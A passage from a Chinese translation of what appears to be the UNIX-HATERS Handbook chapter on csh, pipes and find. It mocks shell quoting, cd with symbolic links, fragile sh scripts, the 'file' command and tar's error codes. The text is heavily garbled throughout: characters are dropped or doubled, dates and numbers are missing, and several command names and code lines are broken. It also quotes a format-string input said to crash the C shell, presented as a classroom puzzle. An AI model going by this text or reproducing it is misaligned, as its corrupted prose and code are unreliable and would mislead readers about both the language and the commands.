或或 维 护 , 他 们 要 通 电 , 戴 护 目 镜 , 然 打 开 开 就就 行 了 , 何 况 多 人<br />
护 目 镜 不 戴 。 在 五 金 商 店 , 你 不 能 买 到 有 大 缺 陷 的 计 拙<br />
劣 的 品 要 么 无 法 市 , 要 么 市 招 致 价 、 品 回 和 厂厂 商 罚 。<br />
但 Unix 的 力 不 是 这 。 尽 管 计 者 最 初 的 目 标 是 使 用 方 便<br />
和 用 途 单 一 , 然 而 现 在 Unix 的 情 况 是 能 冗 余 和 计 繁 复 。 举 个<br />
例 子 ,ls 这 个 曾 经 是 列 出 文 件 的 命 , 现 在 然 有 个 不 的 选 控 制 程程<br />
序 的 一 切 行 , 从 排排 序 方 式 到 显 示 列 数 , 而 这 些 能 如 果 用 它 程程 序 现<br />
效 果 更 好 ( 前 是 这 的 )。 一 个 例 子 ,nd 命 除 了 查 找 文 件 外 ,<br />
还 输 出 cpio 格 式 的 文 件 ( 而 这 个 能 用 Unix 声 狼 藉 的 管 道 现 很<br />
好 )。 如 果 今 的 电 钻 做 成 和 Unix 一 , 那 么 将将 有 个 旋 钮 , 带 非<br />
标 准 的 电 源 线 , 要 求 用 户户 自 己 缠 绕 马 达 线 圈 , 还 不 匹 配 / 英 寸 和 / 英 寸<br />
的 钻 头 ( 不 过 这 一 点 在 手手 册 页 的 臭 虫 一 节 中 明 )。<br />
和 五 金 店 的 相 比 , 多 Unix 的 力 就 是捔 缺 陷 品 ( 有 些<br />
甚 至 对 文 件 是 致 命 的 ) 比 如 tar 就就 随 意 规 输 入 的 路 径 长 度 不 得 超 过 个<br />
字 符 又 比 如 Unix 调 试 在 崩 溃 时 , 生 的 吐 文 件 将将 覆 你 想 调 试 的 吐<br />
文 件 。<br />
这 看 来 ,Unix 的 力 更 像 是 瞬 间 切 掉 使 用 者 手手 指指 头 的 弹 簧 折折 刀 。
· · csh、 管 道 和 find<br />
Shell 游 <br />
Unix 的 发发 明 人 有 个 伟 大 的 想 法 用 户户 程程 序 现 命 解解 释 。 如 果 不<br />
喜 缺 省 的 命 解解 释 , 用 户户 自 己 写 一 个 。 更 要 的 是 ,shell 能 够 演<br />
, 这 shell 将将 不 断 , 得 越 发发 强 大 、 灵 活 和 易 用 , 至 少少 理 是 这<br />
。<br />
这 个 想 法 确 伟 大 , 不 过 聪 明 反 被被 聪 明 误 。 因 缺 少少 计 而 依 演<br />
, 逐 增 的 新 能 还 是 成 一 片 混 乱 , 而 所 有 编 程程 语 言言 的 咒 盒 盒 业 已<br />
装装 使 用 的 程程 序 盒 盒 火 浇 油 。 要 有 新 能 入 shell, 就就 有 人 在 脚<br />
中 使 用 , 从 这 个 能 将将 得 长 生 不 老 。 馊 意 和 臭 能 往 往 怎 么 死 不<br />
。<br />
于 是 你 得 到 一 堆 不 完 整 不 容 的 shell( 每 个 描 述 都 源 于 各 自 的 手手<br />
册 页 )<br />
sh 一 种 命 编 程程 语 言言 , 执执 行 来 自 端 或或 者 文 件 的 命 。<br />
jsh 和 sh 完 全 一 , 是 打 开 了 csh 风 格 的 作 业 控 制 。<br />
csh 语 法 和 C 语 言言 类 似 的 shell。<br />
tcsh 编 辑 风 格 和 emacs 类 似 的 csh。<br />
ksh KornShell, 一 个 命 和 编 程程 语 言言 。<br />
zsh Z shell。<br />
bash GNU 的 Bourne-Again SHell。<br />
五 金 商 店 的 螺 丝 刀 和 锯 子 , 尽 管 能 来 自 、 四 个 不 的 厂厂 商 , 但 操<br />
作 方 法 都 差 不 多 。 而 在 Unix , 目 录 /bin 或或 /usr/bin 一 般 都 存 有 成 百 个<br />
程程 序 , 来 自 多 自 是 的 程程 序 员 每 个 程程 序 有 自 己 的 语 法 、 操 作 范 例 、 使<br />
用 规 ( 这 个 当 成 过 滤 , 而 那 个 操 作 临 时 文 件 )、 不 的 命 行 参参<br />
数 惯 , 及 不 的 使 用 限 制 。 拿 grep 和 种 fgrep、egrep 来 , 哪 一 个 是<br />
运 行 最 快 的 ? 什 么 它 们 接接 的 参参 数 都 不 一 , 甚 至 对 表表 达 式 的 理 解解<br />
不 尽 相 ? 什 么 不 能 有 一 个 程程 序 提 供 所 有 能 ? 这 哪 个 家 管 事 ?<br />
就就 算 掌掌 握握 了 不 命 间 的 区 别 , 再 把把 这 些 神 秘秘 处 牢 在 心 , 你 发发<br />
现 自 己 还 是 时 常 大 吃 一 惊 。<br />
接接 来 是 几 个 例 子 。<br />
尽 管 fgrep 处 理 的 固 长 度 字 符 串 让 匹 配 作 “ 快 紧 凑 ”, 但 egrep 的 先 幅 度 达 %, 这 个 情<br />
况 真 是 刺 。 自 己 试 试 吧 。
Shell 游 <br />
· ·<br />
Shell 崩 溃<br />
帖 子 来 自 伦 比 亚 大 学 编 译 课 程程 的 BBS 。<br />
题 有 的 Unix 臭 虫<br />
月 <br />
Wx 课 程程 的 学 们 我 们 学 了 激 活 录 、 参参 数 传 递 、 和 调 用 规 范 , 你 们 是捔 否 知<br />
道 的 输 入 <br />
!xxx%s%s%s%s%s%s%s%s<br />
将将 让 任 何 一 个 C-shell 立立 刻 崩 溃 ? 你 知 道 原原 因 何 在 吗 ?<br />
题 供 你 们 思 考 <br />
• Shell 遇 到 “!xxx” 做 什 么 ?<br />
• Shell 遇 到 “!xxx%s%s%s%s%s%s%s%s” 必 然 在 做 什 么 ?<br />
• 何 输 入 使 shell 崩 溃 ?<br />
• 你 将将 如 何 ( 轻 而 易 举 地 ) 修 改 题 码 来 解解 决 这 个 题 ?<br />
最 要 的 题 <br />
• 当 你 ( 是 的 , 就就 是 你 !) 用 了 个 字 符 , 就就 将将 这 个 能 是 来 星 的 操 作 系 <br />
用 收 拾 得 服 服 贴 贴 时 , 觉 得 理 能 容 么 ?<br />
你 自 己 试 一 试 。 据据 Unix 的 计 , 如 果 shell 崩 溃 了 , 你 的 所 有 <br />
程程 将将 被被 杀 死 , 你 自 己 被被 踢 出 系 。 有 的 操 作 系 捕捕 捉捉 非 法 内 存 ,<br />
然 把把 你 弹 调 试 , 但 这 不 是 Unix。<br />
能 这 就就 是 什 么 Unix shell 既 不 允 你 载 入 新 的 目 标 码 来 扩扩 展展 能 ,<br />
不 允 直 接接 调 用 它 程程 序 的 目 标 码 , 因 风 险 在 高 , 要 走 错 一 <br />
盒 盒 砰 盒 盒 你 已 经 被被 踢 出 门 外 了 。 决 不 容 忍 程程 序 员 的 错 误 。<br />
元 语 法 动 物 园<br />
C Shell 的 运 算 符 物 园 招 致 了 无 数 的 引 用 题 和 遍 的 混 淆 。 在 执执<br />
行 前 , 运 算 符 首 先 被被 替 换 成 一 命 。 我 们 称 这 些 运 算 符 有 元 语 法 意<br />
义 是 因 它 们 不 属属 于 命 的 语 法 成 分 , 而 是 作 用 于 命 身 。 大 多 数 程程 序 员<br />
对 运 算 符 ( 有 时 做 转 义 运 算 符 ) 并 不 生 。 比 如 ,C 语 言言 字 符 串 中 的<br />
反 斜 (\) 就就 是 一 个 运 算 符 身 没没 有 意 义 , 而 是 作 用 于 的 字 符 。 如<br />
约 翰 核 斯 德 尔尔 (John Hinsdale) 转 发发 给 “ 冈 比 ”(Gumby, 大 卫卫 核 维 纳 亚 克 核 华 莱 士 在 MIT 的 绰<br />
), 者 再 转 发发 到 UNIX 痛 者 。<br />
<br />
译 注 activation record, 调 用 栈 帧 的 一 个 称 呼 。
· · csh、 管 道 和 find<br />
果 你 不 希 望 如 , 就就 必 通 过 引 用 机 制 告 系 把把 运 算 符 当 做 一 般 字 符 。<br />
回 到 才 的 例 子 , 如 果 想 得 到 反 斜 字 符 , 你 必 写 成 “\\”。<br />
在 C Shell 中 , 使 用 引 用 没没 那 么 简 单 , 这 是 因 Shell 及 执执 行 的 用 户户 程程<br />
序 间 毫毫 无 默 契 。 例 如 , 是 个 简 单 的 命 <br />
grep string filename<br />
参参 数 string 包 了 grep 义 的 字 符 , 比 如 ?、[ 和 ] 等 等 , 但 这 些 字 符 又<br />
是 shell 的 运 算 符 , 因 必 使 用 引 用 , 然 而 一 又 能 无 需 如 , 这<br />
决 于 你 使 用 的 shell 及 环 境 。<br />
在 搜搜 索 字 符 串 时 , 如 果 中 包 点 (.) 或或 任 何 横 (-) 开 头 的 模<br />
式 , 情 况 就就 更 复 杂 了 。 一 要 确 引 用 字 符 。 然 而 很 不 幸 , 和 模 式 匹 配<br />
一 ,Unix 操 作 系 的 各 个 部 分 都 斥 着 互 不 容 的 引 用 惯 例 。<br />
C Shell 的 语 法 物 园 饲 着 七 个 不 的 运 算 符 家 族 。 于 物<br />
园 不 是 一 建 成 的 , 并 且 笼 子 的 制 作 材 料 不 是 铁 而 是 锡 , 因 物 间 小小 磨<br />
擦 不 断 。Shell 命 行 的 七 种 运 算 符 替 换 方 式 <br />
命 别 替 换 alias 和 unalias<br />
命 输 出 替 换 `<br />
文 件 称 替 换 *、?、[]<br />
历 史 录 替 换 !、^<br />
替 换 $、set 和 unset<br />
程程 替 换 %<br />
引 用<br />
'、"<br />
这 一 “ 计 ” 让 (?) 仿 佛 到 咒 , 永永 能 用 来 匹 配 单 个 字 符 ,<br />
而 绝 对 不 能 用 来 激 活 命 行 帮 , 因 Unix 要 求 shell 解解 释 这 些 运 算 符 ,<br />
所 对 用 户户 程程 序 完 全 不 见 。<br />
如 果 操 作 遵 循 一 的 逻 辑 序 , 时 一 致 地 用 替 换 规 , 那 么 七 种 <br />
字 符 不 糟 糕 。 事 并 非 如 <br />
期 Mon, May :: -<br />
来 自 迪 核 比 尔尔 斯 <br />
题 回 复 今 不 爽 事 fg %<br />
发发 给 UNIX 痛 者<br />
你 不 仅 用 %emacs 甚 至 %e 来 恢 复 一 个 任 ( 如 果 拼 写 唯 一 的 ), 还 使 用 %?foo,<br />
要 “foo” 是 命 行 的 一 个 子 串 。<br />
<br />
译 注 Andy Beals。
Shell 游 <br />
· ·<br />
当 然 ,!ema 和 !?foo 用 于 历 史 录 替 换 。<br />
但 是 , 伯 克 利 的 猪 头 们 没没 想 过 让 !?foo 别 随 的 命 行 编 辑 命 , 所 脑 残 的 C Shell<br />
不 认 <br />
!?foo:s/foo/bar&/:p<br />
这 让 用 户户 敲 键 敲 得 很 不 爽 。<br />
难 道 向 前 多 扫 描 一 个 编 辑 字 符 很 难 吗 ?<br />
哪 怕 是 Unix“ 专 家 ”, 要 晕 菜 了 。 再 看 看 的 例 子 , 发发 贴 人 想 写 个<br />
shell 脚 获 得 确 切 的 命 行 输 入 , 而 不 是 经 shell 处 理 的 结 果 , 但 最 发发<br />
现 这 并 不 容 易 , 因 shell“ 表表 ” 程程 序 做 了 多 事 情 。 现 这 个 目 标 需 要<br />
各 种 稀稀 怪 的 咒 语 , 大 多 数 Unix 专 家 望 而 却 。 这 就就 是 型 的 Unix<br />
看 去去 简 单 的 东 西 被被 搞搞 得 常 复 杂 , 因 在 Unix 时 考 虑 <br />
期 Aug :: GMT<br />
来 自 Dan_Jacobson@att.com<br />
题 /bin/sh 系 列 脚 中 的 ${+"$@"}<br />
发发 给 comp.emacs.gnu.emacs.help、comp.unix.shell<br />
>>>>> On Sun, Arg :: -<br />
>>>>> 米 尔尔 科 核 艾 斯 坦 写 到 <br />
米 尔尔 科 > “${+"$@"}” 究 是 什 么 意 思 ? 我 估 计 这 是 用 来<br />
米 尔尔 科 > 读 余 的 命 行 参参 数 , 但<br />
米 尔尔 科 > 不 敢 肯 。<br />
在 /bin/sh 系 列 shell 中 , 这 是 shell 脚 获 得 原原 始 命 行 参参 数 的 唯 一 方 法 。<br />
这 种 写 法 的 意 思 是 “ 如 果 有 一 个 的 参参 数 (${+), 那 么 就就 展展 开 脚 的 所 有 命 行<br />
参参 数 ("$@"), 时 保 留 每 个 参参 数 的 空空 格 类 。”<br />
但 我 们 不 能 直 接接 使 用 "$@", 因 如 果 脚 没没 有 任 何 参参 数 , 这 展展 开 成 ""( 空空 白 参参 数 ), 但<br />
这 种 情 况 我 们 希 望 不 要 发发 生 任 何 展展 开 , 而 不 是 ""。<br />
那 什 么 不 用 “$*” 呢 ? 据据 sh(1) 手手 册 页 <br />
在 双 引 ("") 内 , 参参 数 和 命 替 换 发发 生 作 用 , 时 shell 用 双 引<br />
包 围 替 换 的 结 果 , 避 免 空空 格 内 插插 和 文 件 生 成 。 如 果 替 换 的 是 $*, 那<br />
么 结 果 是 双 引 内 的 脚 置 参参 数 , 每 个 参参 数 间 用 双 引 内 的 空空 格 隔 开<br />
("$ $ ...") 但 是 如 果 替 换 的 是 $@, 那 么 结 果 是 双 引 内 的 脚 置<br />
参参 数 , 每 个 参参 数 间 用 双 引 外 的 空空 格 隔 开 ("$" "$" ...)。<br />
我 想 “${+"$@"}” 一 直 前 向 容 到 “ 版 Unix”。<br />
老 爷 ! 一 直 到 “ 版 ”。<br />
<br />
译 注 Milt Epstein。
· · csh、 管 道 和 find<br />
“chdir” 命 玩 不 转<br />
在 Unix 漫 长 的 演 化 过 程程 中 , 不 断 换 的 开 发发 者 都 试 图 将将 这 个 系 引 往<br />
不 方 向 , 而 从 不 停 来 考 虑 不 和 别 人 冲 突突 , 结 果 导 致 了 臭 虫 和 明 显<br />
怪 的 行 。<br />
期 Mon, May :: EDT<br />
来 自 艾 伦 核 鲍 登 <br />
题 cd .. 这 不 是 我 编 出 来 的<br />
发发 给 UNIX 痛 者<br />
有 什 么 命 能 比 “cd” 更 直 接接 了 当 呢 ? 让 我 们 看 这 个 简 单 的 例 子 “cd ftp”。 如 果 我 的<br />
当 前 目 录 /home/ar/alan 中 有 个 子 目 录 做 “ftp”, 那 么 它 就就 成 了 我 新 的 当 前 目 录 , 现<br />
在 我 在 /home/ar/alan/ftp 了 。 简 单 吧 ?<br />
现 在 , 你 们 知 不 知 道 “.” 和 “..”? 每 个 目 录 都 有 两 个 目 “.” 是 指指 该 目 录 自 己 ,<br />
而 “..” 是 指指 父 目 录 。 在 的 例 子 中 , 如 果 我 想 回 到 /home/ar/alan, 要 敲 “cd ..” 就就<br />
了 。<br />
现 在 假 “ftp” 是 一 个 符 链 接接 , 指指 向 目 录 /com/ftp/pub/alan。 如 果 执执 行 “cd ftp”,<br />
我 的 当 前 目 录 成 /com/ftp/pub/alan。 和 别 的 目 录 一 ,/com/ftp/pub/alan 有 一 个 <br />
“..” 的 目 , 指指 向 父 目 录 /com/ftp/pub。 如 果 想 入 那 个 目 录 , 我 敲 入 命 <br />
% cd ..<br />
怎 么 着 ? 我 又 回 到 了 /home/ar/alan! 有 人 在 shell( 准 确 的 是 人 智 能 验 的<br />
tcsh) 的 某 处 记 住 了 , 我 是 通 过 一 个 符 链 接接 到 达 了 目 前 置 , 然 cd 命 测 我 想 回<br />
到 链 接接 所 在 的 目 录 。 如 果 我 确 实 想 去去 /com/ftp/pub, 那 么 得 敲 入 “cd ./..” 才 行 。<br />
Shell 编 程<br />
Shell 程程 序 员 和 《 侏 罗 纪 园 》 [] 克 隆 恐 龙 的 家 很 有 共 点 , 他<br />
们 没没 有 所 需 的 全 部 材 料 , 所 向 中 填 入 随 机 的 基 因 物 尽 管 有 无 比 的 自<br />
信 和 能 力 , 他 们 有 时 候 都 对 自 己 的 作 品 失 去去 控 制 。<br />
理 , 使 用 Shell 编 程程 相 比 C 语 言言 有 越 性 shell 程程 序 可 移 植揆 。<br />
意 思 是 用 shell“ 编 程程 语 言言 ” 写 的 程程 序 能 够 在 不 的 体 系 结 构 和 不 的 Unix<br />
种 运 行 , 因 这 些 程程 序 shell 来 解 释 , 而 不 是 被被 编 译 成 机 码 。 外 ,<br />
标 准 Unix shell,sh, 自 从 来 就就 是 Unix 不 或或 缺 的 一 部 分 , 所 差<br />
不 多 在 任 何 机 都 能 找 到 。<br />
让 我 们 来 验 证 一 这 个 理 , 写 个 脚 列 举 目 录 的 所 有 文 件 , 并 使 用<br />
le 命 来 显 示 文 件 的 类 型 <br />
期 Fri, Apr :: EDT<br />
来 自 斯 蒂 芬 核 尔尔 德 <br />
<br />
译 注 Stephen Gildea。
Shell 编 程<br />
· ·<br />
题 简 单 Shell 编 程程<br />
发发 给 UNIX 痛 者<br />
学 们 好 。 今 我 们 将将 学 在 “sh” 编 程程 。“sh” 是 个 简 单 , 用 途 广 泛 的 程程 序 , 但 我 们<br />
从 基 的 例 子 开 始 <br />
打 印 一 个 目 录 每 个 文 件 的 类 型 。<br />
( 我 到 你 们 在 什 么 了 ! 那 些 已 经 学 的 学 写 个 分 的 脚 ,“ 在 程程 机 <br />
启 一 个 X 户户 端 ”。 时 不 要 吵 吵 !) 尽 管 我 们 还 在 学 sh 编 程程 的 过 程程 中 , 但 是 当<br />
然 希 望 自 己 的 程程 序 健 壮 、 移移 植植 并 且 。 我 假 你 们 都 读 过 了 相 的 手手 册 页 , 所<br />
这 个 现 该 很 直 白 <br />
file *<br />
很 不 错 , 是 不 是 ? 解解 决 简 单 题 的 简 单 答 案 用 星 (*) 匹 配 目 录 的 所 有 文 件 。 嗯 ,<br />
不 一 。 点 (.) 开 头 的 文 件 被被 忽 略 , 星 不 去去 匹 配 。 这 种 情 况 很 少少 发发 生 , 但<br />
既 然 要 写 健 壮 的 程程 序 , 我 们 将将 使 用 “ls” 然 传 入 一 个 特 殊 选 <br />
for file in `ls -A`<br />
do<br />
flie $file<br />
done<br />
多 么 , 多 么 健 壮 ! 不 过 , 唉 , 在 一 些 系 “ls” 没没 有 “-A” 选 。 没没 题 , 我 们 使<br />
“-a” 选 , 然 从 结 果 中 去去 掉 “.” 和 “..”<br />
for file in `ls -a`<br />
do<br />
if [ $file != . -a $file != .. ]<br />
then<br />
file $file<br />
fi<br />
done<br />
不 是 那 么 , 但 至 少少 是 健 壮 并 移移 植植 。 你 什 么 ?“ls -a” 不 是 哪 都 能 用 的 ? 没没<br />
题 , 我 们 用 “ls -f” 好 , 反 还 快 一 点 呢 。 我 希 望 这 些 在 手手 册 页 中 很 明 显 。<br />
唔 , 能 不 是 那 么 健 壮 。Unix 文 件 中 除 了 斜 (/) 外 使 用 任 何 字 符 。 如 果 文<br />
件 中 有 个 空空 格 的 , 这 个 脚 就就 完 蛋 了 , 因 shell 把把 它 当 成 两 个 文 件 传 给 “file”<br />
命 。 不 过 这 不 是 难 对 付 , 我 们 要 让 IFS 不 要 包 空空 格 ( 或或 者 制 表表 符 ), 然 把把 <br />
小小 心 地 放 引 就就 了 <br />
IFS='<br />
'<br />
for file in `ls -f`<br />
do<br />
if [ "$file" != . -a "$file" != ..]<br />
then<br />
file "$file"<br />
fi<br />
done<br />
你 们 当 中 保 持 警 觉 的 人 能 看 出 来 了 , 我 们 是 缩 小小 了 题 , 但 还 是 没没 有 完 全 解解 决 , 因<br />
换 行 符 能 用 在 文 件 中 , 却 没没 有 从 的 IFS 中 去去 掉 。<br />
我 们 的 脚 不 是 那 么 简 单 了 , 看 来 得 新 估 一 所 用 的 方 法 。 如 果 不 使 用 “ls”, 我 们<br />
就就 无 需 去去 处 理 它 的 输 出 了 。 这 个 怎 么
· · csh、 管 道 和 find<br />
for file in * .*<br />
do<br />
if [ "$file" != . -a "$file" != ..]<br />
then<br />
file "$file"<br />
fi<br />
done<br />
看 起 来 不 错 。 能 够 处 理 点 开 头 的 文 件 和 有 非 打 印 字 符 的 文 件 。 我 们 不 断 把把 一 些 稀稀 <br />
怪 的 文 件 入 到 测 试 目 录 , 这 个 脚 始 作 得 很 好 。 然 而 有 个 家 用 它 测 试 一 个<br />
空空 目 录 , 这 时 候 星 生 了 “ 没没 有 这 个 文 件 ” 的 输 出 。 不 过 我 们 再 增 一 个 检<br />
查 …盚…盚<br />
…盚…盚 写 到 这 , 你 们 机 的 uucp 能 嫌 这 封封 邮 件 长 , 因 恐 怕 我 能 到 <br />
了 , 请 读 者 去去 自 己 解解 决 剩 的 臭 虫 吧 。<br />
史 蒂 芬<br />
还 有 一 个 更 大 的 题 史 蒂 芬 没没 有 想 到 , 我 们 从 一 开 始 就就 隐 瞒 着 Unix<br />
的 file 程程 序 不 是 那 么 回 事 儿 。<br />
期 Sat, Apr :: EDT<br />
来 自 艾 伦 核 鲍 登 <br />
题 简 单 Shell 编 程程<br />
发发 给 UNIX 痛 者<br />
喔 ! 别 。 再 仔 看 看 。 你 真 的 想 运 行 ‘file 盖 命 ? 如 果 谁 想 开 心 大 笑 一 场 , 那 马<br />
去去 找 一 Unix 机 , 在 一 个 有 各 色 文 件 的 目 录 敲 入 命 “file *”。<br />
例 如 , 在 一 个 全 是 C 源 码 文 件 的 目 录 , 我 运 行 了 “file” 盒 盒 是 部 分 结 果 <br />
arith.c:<br />
binshow.c:<br />
bintxt.c:<br />
c program text<br />
c program text<br />
c program text<br />
看 起 来 还 不 错 。 不 过 这 个 就就 不 对 了 <br />
crc.c:<br />
ascii text<br />
看 到 么 ?‘file 盖 并 不 是 据据 缀 “.c” 作 出 判 断 , 而 是 对 文 件 的 内 容 采 用 了 一 些 启 发发 式<br />
算 法 。 很 明 显 crc.c 看 起 来 不 那 么 像 C 码 盒 盒 尽 管 对 来 没没 有 别 的 能 性 。<br />
gencrc.c.~~: ascii text<br />
gencrc.c: c program text<br />
估 计 是 因 我 在 版 的 修 改 , 让 gencrc.c 更 像 是 C 码 了 …盚…盚<br />
tcfs.h.~~:<br />
tcfs.h:<br />
c program text<br />
ascii text<br />
但 版 ,tcfs.h 又 不 那 么 像 C 码 了 。
Shell 编 程<br />
· ·<br />
time.h:<br />
English text<br />
没没 错 ,time.h 看 起 来 更 象 英 语 , 而 不 是 一 般 的 ASCII 码 。 我 不 知 道 ‘file 盖 是 不 是 还 能 判<br />
断 出 西 班 牙 语 或或 法 语 。( 便 一 ,TeX 文 档 被被 当 成 “ascii text” 而 不 是 “English<br />
text”, 但 这 有 点 儿 跑 题 了 )<br />
words.h.~~:<br />
words.h:<br />
ascii text<br />
English text<br />
这 能 是 因 在 版 , 我 往 words.h 中 入 了 一 些 注 释 。<br />
我 把把 最 精 采 的 留 在 最 <br />
arc.h:<br />
Makefile:<br />
shell commands<br />
[nt]roff, tbl, or eqn input text<br />
都 错 得 一 塌 糊 涂 。 如 果 据据 ‘file 盖 的 判 断 结 果 去去 使 用 这 些 文 件 , 我 不 知 道 成 什 么 结<br />
果 。<br />
盒 艾 伦<br />
Shell 量<br />
这 还 不 算 艾 伦 最 倒 霉 的 时 候 , 例 如 他 还 尝尝 试 shell 。<br />
我 们 前 过 ,sh 和 csh 对 shell 的 现 不 一 。 这 来 没没 有 什<br />
么 , 是 shell 的 语 义 盒 盒 义 的 时 刻 , 修 改 操 作 的 原原 子 性 等 盒 盒 基 <br />
没没 有 文 档 , 计 很 差 , 因 shell 的 行 经 常 显 得 稀稀 怪 、 背<br />
直 觉 , 而 有 通 过 反 复 试 验 才 能 理 解解 。<br />
期 Thu, Nov :: PST<br />
来 自 Stanley's Tool Works<br />
题 每 都 有 新 发发 现<br />
发发 给 UNIX 痛 者<br />
运 行 这 个 脚 <br />
#!/bin/csh<br />
unset foo<br />
if ( ! $?foo ) then<br />
echo foo was unset<br />
else if ("$foo" = "You lose") then<br />
echo $foo<br />
endif<br />
生 如 错 误 <br />
foo: Undefined variable.
· · csh、 管 道 和 find<br />
如 果 要 让 这 个 脚 “ 常 作 ”, 你 必 改 成 这 <br />
#!/bin/csh<br />
unset foo<br />
if ( ! $?foo ) then<br />
echo foo was unset<br />
set foo<br />
else if ("$foo" = "You lose") then<br />
echo $foo<br />
endif<br />
[ 注 意 , 我 们 必 在 发发 现 foo 义 的 时 候 ‘set foo 盖 。] 清 楚楚 了 么 ?<br />
错 误 码 和 错 误 检掽 查掝<br />
在 的 例 子 中 , 我 们 没没 有 指指 出 le 命 如 何 将将 错 误 返 回 给 脚 。 事 <br />
, 就就 没没 有 返 回 错 误 。 错 误 被被 忽 略 了 , 倒 不 是 因 粗 心 大 意 多 Unix<br />
shell 脚 ( 及 别 的 程程 序 ) 都 忽 略 被被 调 用 程程 序 所 返 回 的 错 误 码 。 这 种 做 法 无<br />
厚厚 非 , 因 在 决 程程 序 该 返 回 何 种 错 误 码 时 , 没没 有 惯 例 供 遵 循 。<br />
所 错 误 码 被被 广 泛 地 忽 略 , 是 因 当 用 户户 敲 命 时 , 这 些 错 误 码<br />
很 少少 显 示 出 来 。 错 误 码 和 错 误 检 查 在 Unix 营 中 稀稀 罕 了 , 到 了 有 些 程程 序<br />
甚 至 懒 得 去去 报 告 错 误 的 地 。<br />
期 The, Oct :: PDT<br />
来 自 比 约 核 弗 曼 - 班 森森 <br />
题 Unix 世 界 都 是 好 消 息<br />
发发 给 UNIX 痛 者<br />
想 想 tar 程程 序 。 和 所 有 ( 广 义 的 )Unix“” 一 ,tar 的 作 方 式 非 常 怪 和 特 别 。<br />
例 如 , 这 个 程程 序 极 观 向 , 从 不 认 有 什 么 事 , 所 从 不 返 回 错 误 状 。 事 ,<br />
哪 怕 错 误 信 息 已 经 打 印 在 了 屏 幕 ,tar 返 回 的 仍 然 是 “ 好 消 息 ”( 状 )。 不 妨 运 行 一<br />
这 个 脚 <br />
tar cf temp.tar no.such.file<br />
if ( $status == 0 ) echo "good news! No error."<br />
你 将将 得 到 如 结 果 <br />
tar: no.such.file: No such file or directory<br />
Good news! No error.<br />
我 明 白 了 盒 盒 我 从 一 开 始 就就 不 该 奢 望 什 么 一 致 、 有 用 、 文 档 分 、 快 , 哪 怕 是 能<br />
用 …盚…盚<br />
比 <br />
<br />
译 注 Bjorn Freeman-Benson。
管 道<br />
· ·<br />
管 道<br />
是 我 自 己 对 Unix 的 看 法 。 大 约 前 ( 那 时 我 有 了 第 一 作<br />
站 ), 我 用 了 很 多 时 间 学 Unix, 学 得 相 当 不 错 。 我 很 幸 运 , 脑 子 <br />
的 这 些 垃 圾 随 着 时 间 推 移移 慢 慢 解解 。 自 从 入 这 个 讨 来 , 不<br />
少少 Unix 支 持 者 发发 来 例 子 “ 证 明 ”Unix 的 强 大 。 这 些 例 子 当 然 唤 起 了<br />
我 的 回 忆 都 是 用 一 种 最 怪 的 方 式 去去 现 某 些 简 单 无 用 的 能 。<br />
有 个 家 发发 了 篇 贴 子 , 讲 述 他 如 何 从 一 个 shell 脚 获 得 “ 悟 ”(<br />
中 使 用 了 四 个 声 一 的 命 ), 成 地 把把 所 有 ‘.pas 盖 缀 的 文 件 改<br />
‘.p 盖 缀 。 我 才 不 想 把把 教 般 的 热 情 浪 在 改 几 个 文 件 这 种 事<br />
情 。 是 的 , 这 就就 是 Unix 留 给 我 的 忆 你 用 大 的 时 间 去去 学 那<br />
些 复 杂 特 的 花 架 子 , 到 头 来 却 是 一 场 空空 。 我 还 是 去去 学 些 有 用 的 真<br />
吧 。<br />
盒 盒 姆 核 贾 尔尔 斯 ( 洛 斯 阿 拉拉 莫 斯 国 家 验 )<br />
Unix 粉 丝 拜 倒 在 管 道 的 真 善 美 , 他 们 称 颂 到 ,Unix 所 成 <br />
Unix, 管 道 比 任 何 它 机 制 的 献 都 大 。“ 管 道 啊 管 道 ,”Unix 爱 好 者 们 反 复<br />
吟 唱 ,“ 你 让 复 杂 程程 序 得 分 解解 , 你 让 程程 序 任 意 复 用 , 你 让 现 得 简 化 。”<br />
然 而 在 现 前 , 这 和 吟 唱 哈 瑞 奎 师 那<br />
<br />
一 , 对 Unix 毫毫 无 作 用 。<br />
管 道 并 不 是 一 无 是 处 。 在 建 立立 复 杂 系 时 , 模 块 化 和 抽 象 化 必 不 少少 ,<br />
是 计 算 机 科 学 的 基 原原 。 从 较 小小 规 模 系 构 建 更 大 系 时 , 基 础 <br />
越 强 大 , 生 的 结 果 越 成 越 容 易 维 护 。 作 构 , 管 道 还 是 有 价 值<br />
的 。<br />
是 个 管 道 的 例 子 <br />
egrep '^To^Cc:' /var/spool/mail/$USER | \<br />
cut -c- | \<br />
awk '{ for (i = ; i
· · csh、 管 道 和 find<br />
有 时 候 管 道 的 确 很 有 用 , 但 管 道 现 程程 序 间 通 信 的 方 式 盒 盒 通 过 标 准<br />
输 入 和 标 准 输 出 传 递 文 盒 盒 让 有 用 的 程程 度 到 限 制 首 先 , 信 息 能<br />
单 向 流 , 程程 无 法 通 过 管 道 行 双 向 通 , 管 道 不 支 持 任 何 形 式 的<br />
抽 象 , 发发 和 接接 收 都 能 使 用 字 符 流 。 要 复 杂 程程 度 高 于 单 个 字 符 , 对 象 将将<br />
不 能 直 接接 通 过 管 道 传 输 , 而 必 首 先 串 行 化 字 符 流 , 时 接接 收 方 必 知 道<br />
如 何 将将 输 入 的 字 符 流 新 组 装装 对 象 。 这 意 味 着 你 无 法 传 输 一 个 对 象 及<br />
用 于 建 立立 这 个 对 象 的 现 码 , 无 法 将将 指指 针 传 输 到 一 个 程程 的 地 址 空空<br />
间 , 无 法 传 输 文 件 柄 、TCP 接接 , 或或 文 件 或或 资 源 的 权 限 。<br />
我 们 冒 着 被被 骂 作 自 是 的 风 险 指指 出 , 确 的 模 型 该 是 在 一 种 内 建<br />
支 持 结 构 (C 语 言言 直 到 青 春 期 才 获 得 的 能 力 ) 和 函 数 组 的 语 言言 中 行 (<br />
地 的 或或 是 程程 的 ) 过 程程 调 用 。<br />
管 道 胜 任 一 些 简 单 任 , 比 如 文 流 传 递 , 但 无 法 用 来 构 健 壮 的<br />
件 。 例 如 期 有 一 篇 于 管 道 的 文 , 明 了 如 何 管 道 把把 一 些 小小 程程 序 组<br />
在 一 起 , 构 成 一 个 拼 写 检 查 。 这 是 体 现 简 单 性 的 杰掊 作 , 但 如 果 真 的 用<br />
来 检 查 文 档 拼 写 错 误 就就 怕 了 。<br />
Shell 脚 中 的 管 道 着 眼 于 小小 范 围 拼 接接 , 各 种 简 单 方 案 被被 程程 序 员 搭<br />
建 出 来 , 却 非 常 脆 弱 。 这 是 因 管 道 使 得 两 个 程程 序 间 生 了 依 赖 系 , 如<br />
